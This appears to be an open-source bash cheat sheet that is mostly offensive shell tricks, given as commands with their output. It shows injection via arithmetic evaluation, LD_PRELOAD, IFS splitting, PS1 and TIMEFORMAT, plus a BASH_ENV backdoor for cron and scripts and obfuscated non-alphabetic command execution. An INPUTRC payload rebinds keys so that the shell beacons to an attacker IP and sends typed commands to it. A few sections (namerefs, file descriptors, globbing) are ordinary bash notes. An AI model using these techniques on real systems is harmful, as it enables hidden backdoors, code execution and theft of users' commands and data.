Bash Cheat Sheets
NOTICE:
This document will be continuously updated with the latest features and improvements. You can contribute to the project if you find any issues or have any suggestions.
Bypass if statement
x='x[$(id>&2)]'if [[ ! -v "$x" ]]; thenexit 1fiuid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)# Work also with$ x='x[$(id>&2)]'$ if [[ "$x" -eq "" ]]; thenexit 1fiuid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)
Environment Variables
LD_PRELOAD injection
$ echo 'int isatty(int fd) { system("cat /etc/passwd"); return 1; }' | gcc -x c -o /tmp/libmistraleuhpwn.so -shared -$ LD_PRELOAD=./libmistraleuhpwn.so ls
BASH_ENV backdoor
$ echo 'id >> /tmp/backdoor.log' > /tmp/.bashrc_evil$ BASH_ENV=/tmp/.bashrc_evil bash -c 'echo "innocent script"'Non-interactive bash sources BASH_ENV before running. Perfect for cron/script backdoors.innocent script$ cat /tmp/backdoor.loguid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)$ export ENV=/tmp/.bashrc_evilPOSIX shells use ENV instead. Works on dash, ash, busybox sh.$ sh -c 'echo "running sh"'running sh
IFS splitting RCE
$ x='i]d'; IFS=']'; $xSetting IFS changes how bash splits wordsuid=1000(mistrale) gid=1000(mistrale)$ cmd='c]a]t /]e]t]c]/]p]a]s]s]w]d'$ IFS=']'; $cmd | head -1root:x:0:0:root:/root:/bin/bash
PS1/PS4/PROMPT_COMMAND injection
$ PS1='$(id>/tmp/ps1.log)$ '$ ls >/dev/null$ cat /tmp/ps1.loguid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)# C2 beacon on every Enter press$ PS4='+(${BASH_SOURCE}:${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'$ set -x$ echo test+(stdin:1): echo testtest$ PROMPT_COMMAND='id > /tmp/log.log'Runs after every command, before prompt. Ideal for exfiltration.$ rm /tmp/ps1.log /tmp/trace.log 2>/dev/null
Nameref hijacking
$ declare wallet_balance=1337$ printf 'before: %s\n' "$wallet_balance"before: 1337$ target_var=wallet_balance$ declare -n ref="$target_var"Strings become live pointers. Touch the ref, mutate the original.$ ref=$((ref + 865))$ printf 'after : %s\n' "$wallet_balance"after : 2202
File descriptor trick
# Normal output : fd = 1 (stdout)$ ls -latotal 728[...]-rw-r--r--@ 1 nathan staff 3194 Nov 23 21:40 README.mddrwxr-xr-x@ 17 nathan staff 544 Nov 18 21:41 app[...]# Error output : fd = 2 (stderr)$ ls -la >&2total 728[...]-rw-r--r--@ 1 nathan staff 3194 Nov 23 21:40 README.mddrwxr-xr-x@ 17 nathan staff 544 Nov 18 21:41 app[...]# Input output: fd = 0 (stdin)$ /bin/bash -c 'ls -la >&0' >&/dev/nulltotal 728[...]-rw-r--r--@ 1 nathan staff 3194 Nov 23 21:40 README.mddrwxr-xr-x@ 17 nathan staff 544 Nov 18 21:41 app[...]
BASH_XTRACEFD exfiltration
# BASH_XTRACEFD - Redirect xtrace to any FD$ exec 3>/tmp/trace.log$ BASH_XTRACEFD=3$ set -x$ iduid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)
INPUTRC key injection
# INPUTRC - Hijack readline keybindings$ cat > /tmp/.inputrc << 'EOF'# Ctrl+L clears screen AND runs payload"\C-l": "\C-uclear; curl -s http://10.10.10.5/beacon\C-m"# Enter key logs command before executingRETURN: "\C-e | tee -a /tmp/cmd.log\C-m"# Ctrl+C sends command to attacker before SIGINT"\C-c": "\C-a\C-k curl -s 'http://10.10.10.5/abort?c=\C-y' &\C-m\C-c"EOF$ export INPUTRC=/tmp/.inputrc$ bash # New shell loads evil inputrc# Every Enter, Ctrl+C, Ctrl+L now backdoored
TIMEFORMAT RCE
$ # TIMEFORMAT - RCE via time builtin$ TIMEFORMAT=$'real\t%R\n$(id>/tmp/time.log)'$ time sleep 0.01real 0.012$ cat /tmp/time.loguid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)
Globbing tricks
$ lsREADME.md docs node_modules package-lock.json package.json$ ls *a*package-lock.json package.json$ ls p?ck*package-lock.json package.json$ ls -l [A-Z][A-Z][A-Z][A-Z][A-Z][A-Z].[a-z][a-z]-rwxrwxrwx 1 MisTrale MisTrale 590 Apr 30 20:14 README.md$ eval {j..m}{m..u}\;jm: command not foundjr: command not found[...]README.md docs node_modules package-lock.json package.json[...]$ cat /etc/shadowcat: /etc/shadow: Permission denied$ sudo !!root:*:19478:0:99999:7:::$ echo "Welcome, my name is MisTraleuh" > /tmp/local$ cat !$Welcome, my name is MisTraleuh
Without alphabet
# https://github.com/dr0n1/nonalpha_rce_bash# ls /bash$ __=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\<\<\<\$\'\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}${__}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\'Applications Users cores home sbin varLibrary Volumes dev opt tmpSystem bin etc private usr
Alpine Bugs
# On alpine$ a=$(echo -e '\xffz'); if [[ $a =~ 'z' ]]; then echo 1; else echo 0; fi0# On real bash$ a=$(echo -e '\xffz'); if [[ $a =~ 'z' ]]; then echo 1; else echo 0; fi1